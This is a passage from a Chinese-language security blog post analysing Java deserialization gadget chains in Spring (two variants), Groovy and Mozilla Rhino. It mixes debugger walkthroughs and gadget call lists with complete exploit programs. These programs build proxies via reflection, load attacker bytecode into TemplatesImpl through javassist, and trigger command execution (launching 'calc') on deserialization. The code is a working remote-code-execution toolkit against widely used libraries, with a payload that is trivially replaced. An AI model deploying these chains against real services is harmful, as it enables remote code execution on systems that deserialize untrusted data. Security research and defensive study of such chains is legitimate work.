//AnnotationInvocationHandler代理objectFactory类,让objectFactory.getObject()返回TemplatesImpl恶意类
Class<?> annotationInvocationHandler=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor=annotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
HashMap hashMap=new HashMap();
hashMap.put("getObject",templatesImpl);
InvocationHandler invocationHandler= (InvocationHandler) constructor.newInstance(Target.class,hashMap);
ObjectFactory<?> objectFactory= (ObjectFactory<?>) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{ObjectFactory.class},invocationHandler);
//将ObjectFactory赋值给ObjectFactoryDelegatingInvocationHandler
Class<?> ObjectFactoryDelegatingInvocationHandler=Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
Constructor<?> constructor1=ObjectFactoryDelegatingInvocationHandler.getDeclaredConstructor(ObjectFactory.class);
constructor1.setAccessible(true);
InvocationHandler objInvocationHandler = (InvocationHandler) constructor1.newInstance(objectFactory);
//这里是连接桥梁,承上启下,修改成Type和Templates两个接口,findMethod()时匹配返回newTransform(),
// 并由ObjectFactoryDelegatingInvocationHandler代理,
// invokeMethod()触发ObjectFactoryDelegatingInvocationHandler#invoke()
Type TypeTemplates= (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Type.class,Templates.class},objInvocationHandler);
HashMap hashMap1=new HashMap();
hashMap1.put("getType",TypeTemplates);
//AnnotationInvocationHandler代理TypeProvider,让getType()返回TypeTemplates
InvocationHandler invocationHandler1= (InvocationHandler) constructor.newInstance(Target.class,hashMap1);
Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
Object TypeProvider=Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{typeProviderClass},invocationHandler1);
//将TypeProvider赋值给MethodInvokeTypeProvider并修改methodName,漏洞入口点
Class<?> MethodInvokeTypeProvider=Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
Constructor<?> constructor2=MethodInvokeTypeProvider.getDeclaredConstructors()[0];
constructor2.setAccessible(true);
Object result=constructor2.newInstance(TypeProvider,Object.class.getMethod("toString"),1);
setFieldValue(result,"methodName","newTransformer");
String s=serialize(result);
unserialize(s);
}
public static String serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream outputStream=new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(object);
outputStream.close();
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}
public static void unserialize(String s) throws IOException, ClassNotFoundException {
byte[] result=Base64.getDecoder().decode(s);
ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(result);
ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
public static byte[] getTemplates() throws CannotCompileException, NotFoundException, IOException {
ClassPool classPool=ClassPool.getDefault();
CtClass ctClass=classPool.makeClass("Test");
ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"calc\");";
ctClass.makeClassInitializer().insertBefore(block);
return ctClass.toBytecode();
}
}
进行调试以便更加清晰整条链子的走向:
首先来到MethodInvokeTypeProvider#readObject()入口,此时会调用getType()方法,因为provider是通过AnnotationInvovationHandler代理,因此会直接返回getType的值,也就是ObjectFactoryDelegatingInvocationHandler代理类proxy1。

随后来到findMethod 方法中,因为proxy1是有Type Templates两个接口,因此会找到两个接口中的所有方法,遍历匹配newTransform返回newTransform()方法

随后来到ReflectionUtils.invokeMethod()方法中,调用`ObjectFactoryDelegatingInvocationHandler代理后的类的newTransform方法,就会触发ObjectFactoryDelegatingInvocationHandler#invoke()方法。

到ObjectFactoryDelegatingInvocationHandler#invoke()中,因为此时objectFactory又是被AnnotationInvovationHandler代理,会触发AnnotationInvovationHandler#invoke()取出getObject的值Templates从而触发TemplateImpl#newTransform()链子

Spring2反序列化
spring2和spring1的链子大同小异,只是换一个代理地方,前半部分换成了JdkDynamicAopProxy#invoke()方法,JdkDynamicAopProxy也继承于InvocationHandler接口。
private final AdvisedSupport advised;
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
MethodInvocation invocation;
Object oldProxy = null;
boolean setProxyContext = false;
TargetSource targetSource = this.advised.targetSource; //关键
Class<?> targetClass = null;
Object target = null;
try {
if (!this.equalsDefined && AopUtils.isEqualsMethod(method)) {
return equals(args[0]);
}
if (!this.hashCodeDefined && AopUtils.isHashCodeMethod(method)) {
return hashCode();
}
if (!this.advised.opaque && method.getDeclaringClass().isInterface() &&
method.getDeclaringClass().isAssignableFrom(Advised.class)) {
return AopUtils.invokeJoinpointUsingReflection(this.advised, method, args);
}
Object retVal;
if (this.advised.exposeProxy) {
oldProxy = AopContext.setCurrentProxy(proxy);
setProxyContext = true;
}
target = targetSource.getTarget(); //关键
if (target != null) {
targetClass = target.getClass();
}
List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);
if (chain.isEmpty()) {
retVal = AopUtils.invokeJoinpointUsingReflection(target, method, args); //关键
}
else {
invocation = new ReflectiveMethodInvocation(proxy, target, method, args, targetClass, chain);
retVal = invocation.proceed();
}
Class<?> returnType = method.getReturnType();
if (retVal != null && retVal == target && returnType.isInstance(proxy) &&
!RawTargetAccess.class.isAssignableFrom(method.getDeclaringClass())) {
retVal = proxy;
}
else if (retVal == null && returnType != Void.TYPE && returnType.isPrimitive()) {
throw new AopInvocationException(
"Null return value from advice does not match primitive return type for: " + method);
}
return retVal;
}
finally {
if (target != null && !targetSource.isStatic()) {
targetSource.releaseTarget(target);
}
if (setProxyContext) {
AopContext.setCurrentProxy(oldProxy);
}
}
} 可以看到该方法从
AdvisedSupport中获取 一个TargetSource,随后判断Method是否是HashCode equals以及方法是否是Advised类声明,都不是则会从TargetSource中获取target赋值,然后调用getInterceptorsAndDynamicInterceptionAdvice()传入 获取到target的类,这个方法其实是从methodCache中获取方法,如果获取不到,则调用invokeJoinpointUsingReflection()方法
看invokeJoinpointUsingReflection()方法,接收target和method,直接能调用method.invoke(),与spring1链的getObject()是相似的。
public static Object invokeJoinpointUsingReflection(Object target, Method method, Object[] args)
throws Throwable {
try {
ReflectionUtils.makeAccessible(method);
return method.invoke(target, args);
}
catch (InvocationTargetException ex) {
throw ex.getTargetException();
}
catch (IllegalArgumentException ex) {
throw new AopInvocationException("AOP configuration seems to be invalid: tried calling method [" +
method + "] on target [" + target + "]", ex);
}
catch (IllegalAccessException ex) {
throw new AopInvocationException("Could not access method [" + method + "]", ex);
}
} 所以这里也能跟spring1的后半部分连接起来:
- 实例化一个
AdvisedSupport类,传入TemplatesImpl恶意类,使得getTarget()返回TemplatesImpl,然后用反射实例化传入到JdkDynamicAopProxy中 - 再用
JdkDynamicAopProxy代理Type Templates接口的类,使得this.provider.getType().getClass()能找到newTransform方法 - 当触发
invokeMethod方法的时候,会触发JdkDynamicAopProxy#invoke(),使得TemplatesImpl的链子被触发
Gadgets如下:
SerializableTypeWrapper$MethodInvokeTypeProvider.readObject()
SerializableTypeWrapper.TypeProvider(Proxy).getType()
AnnotationInvocationHandler.invoke()
ReflectionUtils.invokeMethod()
Templates(Proxy).newTransformer()
JdkDynamicAopProxy.invoke()
AopUtils.invokeJoinpointUsingReflection()
TemplatesImpl.newTransformer() exp如下:
package com.example.spring;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.springframework.aop.framework.AdvisedSupport;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class spring2 {
public static void main(String[] args) throws Exception {
// 生成包含恶意类字节码的 TemplatesImpl 类
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{getTemplates()});
setFieldValue(templatesImpl, "_name", "aiwin");
setFieldValue(templatesImpl, "_tfactory", null);
// 实例化 AdvisedSupport
//JdkDynamicAopProxy代理AdvisedSupport,进入JdkDynamicAopProxy#invoke()触发method.invoke()触发TemplatesImpl
AdvisedSupport advisedSupport=new AdvisedSupport();
advisedSupport.setTarget(templatesImpl);
Class<?> JdkDynamicAopProxy=Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> AopConstruct=JdkDynamicAopProxy.getDeclaredConstructor(AdvisedSupport.class);
AopConstruct.setAccessible(true);
InvocationHandler invocationHandler= (InvocationHandler) AopConstruct.newInstance(advisedSupport);
// 这里是连接桥梁,承上启下,修改成Type和Templates两个接口,findMethod()时匹配返回newTransform(),
//并由JdkDynamicAopProxy代理,
//invokeMethod()触发JdkDynamicAopProxy#invoke()从而连接起上面的内容
Type TypeTemplates= (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Type.class,Templates.class},invocationHandler);
Class<?> annotationInvocationHandler=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor=annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
//AnnotationInvocationHandler代理TypeProvider,让getType()返回TypeTemplates
HashMap hashMap=new HashMap<>();
hashMap.put("getType",TypeTemplates);
InvocationHandler invocationHandler1= (InvocationHandler) constructor.newInstance(Target.class,hashMap);
Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
Object TypeProvider=Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{typeProviderClass}, invocationHandler1);
Class<?> MethodInvokeTypeProvider=Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
Constructor<?> constructor2=MethodInvokeTypeProvider.getDeclaredConstructors()[0];
constructor2.setAccessible(true);
Object object=constructor2.newInstance(TypeProvider,Object.class.getMethod("toString"),1);
setFieldValue(object,"methodName","newTransformer");
unserialize(serialize(object));
}
}
简单调试如下,与spring1大同小异:


Groovy反序列化
Groovy 是一种基于 Java 平台的动态语言,它是由一些 Java 开发者推出的。Groovy 可以看作是在 Java 语言的基础上增加了许多功能和改进,它可以与 Java 代码很好地整合在一起使用,可以使用 Java 类库,也可以使用其他 JVM 语言的类库。
Groovy 具有动态类型、闭包、元编程、字符串模板、简化的语法等特性,也支持运行时和编译时的元编程,这些特性使得 Groovy 更灵活、更简洁、更易于使用。Groovy 的应用场景非常广泛,包括但不限于 Web 开发、测试自动化、脚本编写、桌面应用程序开发等。
Groovy中也有一条与动态代理有关的链子,相对来说并没有spring的动态代理那么绕,下面是简单分析:
首先,Groovy为字符串提供了命令执行的特性,提供了一个execute()函数,可以直接对字符串进行命令执行,类似于"whoami".execute()
在MethodClosure类中,存在一个doCall方法,可以触发InvokerHelper.invokeMethod()触发命令执行,它的构造函数接收一个Object对象和一个Method的名字。

ConvertedClosure类,存在invokeCustom方法能够触发call方法,只需要传入的method的名称和methodName相等即可,它继承于ConversionHandler,而ConversionHandler继承于InvocationHandler,本质上来将,它也是一个代理类。
public class ConvertedClosure extends ConversionHandler implements Serializable {
private String methodName;
private static final long serialVersionUID = 1162833713450835227L;
public ConvertedClosure(Closure closure, String method) {
super(closure);
this.methodName = method;
}
public ConvertedClosure(Closure closure) {
this(closure, (String)null);
}
public Object invokeCustom(Object proxy, Method method, Object[] args) throws Throwable {
return this.methodName != null && !this.methodName.equals(method.getName()) ? null : ((Closure)this.getDelegate()).call(args);
}
} 再看这里的call方法,它会直接触发doCall方法,也就是说MethodClosure#doCall()连接起来,造成命令执行。

当我们使用ConvertedClosure来代理一个类的时候,本质上当调用类中方法,会触发ConversionHandler中的invoke()方法,只要method 不是Object.class中的方法,就会调用ConvertedClosure#invokeCustom(),此时整条链子就明显了,可以让通过AnnotationInvocationHandler反序列化调用memberValues存放entrySet对象,从而ConvertedClosure#invokeCustom(),也就是MethodClosure的代理。

Gadgets如下:
AnnotationInvocationHandler.readObject()
Map.entrySet() (Proxy)
ConversionHandler.invoke()
ConvertedClosure.invokeCustom()
MethodClosure.call()
ProcessGroovyMethods.execute() exp如下:
package com.example.groovy;
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Map;
public class Groovy1 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
MethodClosure methodClosure=new MethodClosure("calc","execute");
ConvertedClosure closure=new ConvertedClosure(methodClosure,"entrySet");
Class<?> AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Map handler= (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},closure);
Object object=constructor.newInstance(Target.class,handler);
unserialize(serialize(object));
}
}
Rhino反序列化
Mozilla Rhino是一种基于Java的可扩展、轻量级的JavaScript引擎。它可以在Java虚拟机(JVM)上运行JavaScript代码,并且可以作为独立的命令行工具和嵌入式组件来使用。Rhino可以通过Java API来访问和操作Java对象,也可以通过JavaScript对象访问和操作Java对象。Rhino还支持ECMAScript 6标准和部分ECMAScript 7标准的功能。因此,它可以用于许多领域,如Web开发、桌面应用程序、服务器端脚本等。
依赖版本:
<dependency>
<groupId>rhino</groupId>
<artifactId>js</artifactId>
<version>1.7R2</version>
</dependency> 链子流程:
NativeError类中,有toString()方法能触发js_toString()进而触发getString(),此时传入的参数是NativeError类和name字符串

跟进ScriptableObject#getProperty中,将obj赋值给了start后,调用NativeError#get()方法,传入name字符串和NativeError对象。

NativeError类没有get(),它继承于IdScriptableObject类,所以会调用IdScriptableObject#get(),这个get最终又会调用父类的get(),即ScriptableObject#get()。

ScriptableObject#get()会触发ScriptableObject#getImpl(),这个方法先调用getSlot()获取一个Slot对象,如果Slot为空或者不属于GetterSlot则直接返回,否则获取Slot对象中的getter实例。如果获取到的是MemberBox类,则会进入条件判断中,最终进行反射调用。
- 如果
MemberBox的delegateTo是空,则反射调用的对象是start即NativeError,参数是空 - 如果不为空,则反射调用的是
delegateTo对象,参数是start对象

如果这里的MemberBox#delegateTo可控,那么就可以被我们利用,但是delegateTo是transient修饰,是一个抽象属性,实例化MemberBox的时候默认为空,所以nativeGetter#invoke默认反射调用nativeError对象,因此无法被控制,作者这里走的其实是else里面的内容,调用Function对象中的call()

到这里作者找到的是NativeJavaMethod类,继承于BaseFunction,而BaseFunction继承了Function类,NativeJavaMethod#call()中先调用findFunction()找到返回的索引,这里存储的其实是一个MemberBox数组,找到赋值给一个MemberBox实例

方法往下走也会进行反射调用找到的MemberBox,如果可以控制javaObject的值,就可以触发Rce,因为MemerBox类中的invoke方法是直接触发了method.invoke()。在else方法里面,如果传入的 Scriptable对象也就是传入的NativeError,进入一个无限的for循环,因为NativeError不属于Wrapper类,所以找不到javaObject,最终会调用getPrototype()重新判断,返回prototypeObject对象。


作者最终找到的是NativeJavaObject类,继承了Scriptable, Wrapper, Serializable三个类,满足了进入unwrap()的条件,并且这个unwrap()方法直接返回javaObject,javaObject也由transient修饰,但是在NativeJavaObject类中自定义了read/writeObject()能够保存javaObject

至此整条链就形成了,通过NativeError#toString()触发NativeJavaMethod#call(),通过NativeJavaObject#unwrap()返回TemplatesImpl对象控制javaObject最终利用MemberBox#invoke()反射执行恶意类。
Gadgets如下:
BadAttributeValueExpException.readObject()
NativeError.toString()
ScriptableObject.getProperty()
ScriptableObject.getImpl()
NativeJavaMethod.call()
NativeJavaObject.unwrap()
MemberBox.invoke()
TemplatesImpl.newTransformer() poc如下:
package com.example.rhino;
import com.caucho.quercus.annotation.Construct;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.mozilla.javascript.*;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;
public class Rhino1 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{getTemplates()});
setFieldValue(templates, "_name", "aiwin");
setFieldValue(templates, "_tfactory", null);
Class<?> NativeErrorClass=Class.forName("org.mozilla.javascript.NativeError");
Constructor<?> constructor=NativeErrorClass.getDeclaredConstructor();
constructor.setAccessible(true);
Scriptable NativeError= (Scriptable) constructor.newInstance();
//初始化javaObject,使unwrap()返回TemplatesImpl对象,同时完整初始化为了满足initMembers()不报错
Context context = Context.enter();
NativeObject scriptableObject = (NativeObject) context.initStandardObjects(); //设置一个JavaScript环境
NativeJavaObject nativeJavaObject=new NativeJavaObject(scriptableObject,templates,TemplatesImpl.class);
//使getPrototype()返回的是NativeJavaObject对象
Field prototypeObject= ScriptableObject.class.getDeclaredField("prototypeObject");
prototypeObject.setAccessible(true);
prototypeObject.set(NativeError,nativeJavaObject);
//赋值NativeJavaMethod中的methods数组,使Memberbox中的method是newTransformer()
Method templatesMethod=TemplatesImpl.class.getDeclaredMethod("newTransformer");
templatesMethod.setAccessible(true);
NativeJavaMethod nativeJavaMethod=new NativeJavaMethod(templatesMethod,"test");
//实例化一个Slot对象,并放入NativeError中,比较难理解
Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class);
getSlot.setAccessible(true);
Object slotObject = getSlot.invoke(NativeError, "name", 0, 4);
//使getter获取到的getterObj是nativeJavaMethod,触发Function中的call()
Class<?> GetterObj=Class.forName("org.mozilla.javascript.ScriptableObject$GetterSlot");
Field getter=GetterObj.getDeclaredField("getter");
getter.setAccessible(true);
getter.set(slotObject,nativeJavaMethod);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("test");
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException, NativeError);
String result=serialize(badAttributeValueExpException);
unserialize(result);
}
public static String serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream outputStream=new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(object);
outputStream.close();
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}
public static void unserialize(String s) throws IOException, ClassNotFoundException {
byte[] result= Base64.getDecoder().decode(s);
ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(result);
ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
public static byte[] getTemplates() throws CannotCompileException, NotFoundException, IOException {
ClassPool classPool=ClassPool.getDefault();
CtClass ctClass=classPool.makeClass("Test");
ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"calc\");";
ctClass.makeClassInitializer().insertBefore(block);
return ctClass.toBytecode();
}
}
文章标题:Java反序列化链子分析3
文章链接:https://www.aiwin.net.cn/index.php/archives/3905/
最后编辑:2025 年 5 月 19 日 21:32 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)